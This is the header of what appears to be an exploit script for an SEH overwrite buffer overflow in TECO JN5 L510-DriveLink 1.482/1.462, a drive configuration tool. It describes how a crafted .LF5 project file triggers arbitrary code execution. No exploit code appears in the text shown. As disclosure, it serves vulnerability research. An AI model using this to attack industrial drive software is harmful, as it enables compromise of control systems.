# TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit  
#  
#  
# Vendor: TECO Electric and Machinery Co., Ltd.  
# Product web page: http://www.teco-group.eu  
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9  
# Affected version: 1.482 and 1.462  
#  
# Summary: JN5 DriveLink is a free program that enables you to  
# configure the AC Motor Drive, 510 Series PC-Link. It provides  
# support for sleep and fire modes favourable for pumps, fans,  
# compressors, and HVAC and communication network protocol of  
# Modbus/ BACnet/ Metasys N2.  
#  
# Desc: The vulnerability is caused due to a boundary error in the  
# processing of a project file, which can be exploited to cause a  
# buffer overflow when a user opens e.g. a specially crafted .LF5 file.  
# Successful exploitation could allow execution of arbitrary code on  
# the affected machine.
